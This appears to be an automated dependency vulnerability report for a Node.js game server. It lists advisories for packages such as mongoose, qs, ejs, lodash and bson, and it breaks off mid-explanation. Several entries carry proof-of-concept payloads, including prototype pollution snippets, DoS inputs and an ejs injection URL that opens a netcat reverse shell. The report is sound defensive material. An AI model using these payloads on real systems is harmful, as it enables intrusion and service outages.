Vulnerabilities

55 via 79 paths

Dependencies

346

Source

GitHub

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Severity
  • 2
  • 26
  • 25
  • 2
Status
  • 55
  • 0
  • 0

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 form-data@1.0.1

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

critical severity

Authentication Bypass

  • Vulnerable module: hawk
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 hawk@3.1.3

Overview

hawk is a library for the HTTP Hawk Authentication Scheme.

Affected versions of this package are vulnerable to Authentication Bypass. The incoming (client supplied) hash of the payload is trusted by the server and not verified before the signature is calculated.

A malicious actor in the middle can alter the payload and the server side will not identify the modification occurred because it simply uses the client provided value instead of verify the hash provided against the modified payload.

According to the maintainers this issue is to be considered out of scope as "payload hash validation is optional and up to developer to implement".

Remediation

There is no fixed version for hawk.

References

high severity

Improper Neutralization of Special Elements in Data Query Logic

  • Vulnerable module: mongoose
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21
    Remediation: Upgrade to mongoose@6.13.5.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic due to the improper handling of $where in match queries. An attacker can manipulate search queries to inject malicious code.

Remediation

Upgrade mongoose to version 6.13.5, 7.8.3, 8.8.3 or higher.

References

high severity

Improper Neutralization of Special Elements in Data Query Logic

  • Vulnerable module: mongoose
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21
    Remediation: Upgrade to mongoose@6.13.6.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic due to the improper use of a $where filter in conjunction with the populate() match. An attacker can manipulate search queries to retrieve or alter information without proper authorization by injecting malicious input into the query.

Note: This vulnerability derives from an incomplete fix of CVE-2024-53900

Remediation

Upgrade mongoose to version 6.13.6, 7.8.4, 8.9.5 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 qs@6.0.4

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

high severity

Incomplete Filtering of One or More Instances of Special Elements

  • Vulnerable module: validator
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 swagger-parser@3.4.2 z-schema@3.25.1 validator@10.11.0
    Remediation: Upgrade to swagger-jsdoc@3.3.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.

PoC

Input;

const validator = require('validator');

console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 3? ${validator.isLength('test', { max: 3 })}`);
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 4? ${validator.isLength('test', { max: 4 })}`);
console.log(`Is "test\uFE0F\uFE0F\uFE0F\uFE0F" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length less than or equal to 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F', { max: 4 })}`);

Output:

Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

Remediation

Upgrade validator to version 13.15.22 or higher.

References

high severity

Internal Property Tampering

  • Vulnerable module: bson
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 bson@1.0.9
    Remediation: Upgrade to mongoose@5.3.9.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 mongodb@2.2.34 mongodb-core@2.1.18 bson@1.0.9
    Remediation: Upgrade to mongoose@5.2.9.

Overview

bson is a BSON Parser for node and browser.

Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.

NOTE: This vulnerability has also been identified as: CVE-2019-2391

Remediation

Upgrade bson to version 1.1.4 or higher.

References

high severity

Internal Property Tampering

  • Vulnerable module: bson
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 bson@1.0.9
    Remediation: Upgrade to mongoose@5.3.9.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 mongodb@2.2.34 mongodb-core@2.1.18 bson@1.0.9
    Remediation: Upgrade to mongoose@5.2.9.

Overview

bson is a BSON Parser for node and browser.

Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.

NOTE: This vulnerability has also been identified as: CVE-2020-7610

Remediation

Upgrade bson to version 1.1.4 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.7.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: mongoose
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21
    Remediation: Upgrade to mongoose@5.13.20.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution in document.js, via update functions such as findByIdAndUpdate(). This allows attackers to achieve remote code execution.

Note: Only applications using Express and EJS are vulnerable.

PoC


import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
    $rename: {
        hello: '__proto__.polluted'
    }
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.13.20, 6.11.3, 7.3.4 or higher.

References

high severity

Uninitialized Memory Exposure

  • Vulnerable module: bl
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 bl@1.0.3
    Remediation: Upgrade to request@2.76.0.

Overview

bl is a library that allows you to collect buffers and access with a standard readable buffer interface.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure. If user input ends up in consume() argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.

PoC by chalker

const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
  const clone = Buffer.from(secret)
  const bl = new BufferList()
  bl.append(Buffer.from('a'))
  bl.consume(-1024)
  const buf = bl.slice(1)
  if (buf.indexOf(clone) !== -1) {
    console.error(`Match (at ${i})`, buf)
  }
}

Remediation

Upgrade bl to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: async
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 async@2.6.0
    Remediation: Upgrade to mongoose@5.7.3.

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the mapValues() method, due to improper check in createObjectIterator function.

PoC

//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');

//does not have the property,  because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);

async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
  // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
  console.log(result.isAdmin);
});

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade async to version 2.6.4, 3.2.2 or higher.

References

high severity

Excessive Platform Resource Consumption within a Loop

  • Vulnerable module: braces
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 braces@2.3.2
    Remediation: Upgrade to swagger-jsdoc@3.0.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2
    Remediation: Upgrade to swagger-jsdoc@3.0.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@3.10.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer lodash@3.10.1
    Remediation: Upgrade to lodash@4.17.17.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.

PoC

lodash.zipobjectdeep:

const zipObjectDeep = require("lodash.zipobjectdeep");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

lodash:

const test = require("lodash");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: mongodb
  • Introduced through: connect-mongo@0.8.2 and mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer connect-mongo@0.8.2 mongodb@2.0.55
    Remediation: Upgrade to connect-mongo@3.0.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 mongodb@2.2.34
    Remediation: Upgrade to mongoose@5.4.10.

Overview

mongodb is an official MongoDB driver for Node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mongodb to version 3.1.13 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: mquery
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 mquery@2.3.3
    Remediation: Upgrade to mongoose@5.12.3.

Overview

mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.

PoC by zhou, peng

mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mquery to version 3.2.5 or higher.

References

high severity

Prototype Poisoning

  • Vulnerable module: qs
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 qs@6.0.4
    Remediation: Upgrade to request@2.73.0.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.

Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: tough-cookie
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 tough-cookie@2.2.2
    Remediation: Upgrade to request@2.74.0.

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can provide a cookie, which nearly matches the pattern being matched. This will cause the regular expression matching to take a long time, all the while occupying the event loop and preventing it from processing other requests and making the server unavailable (a Denial of Service attack).

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
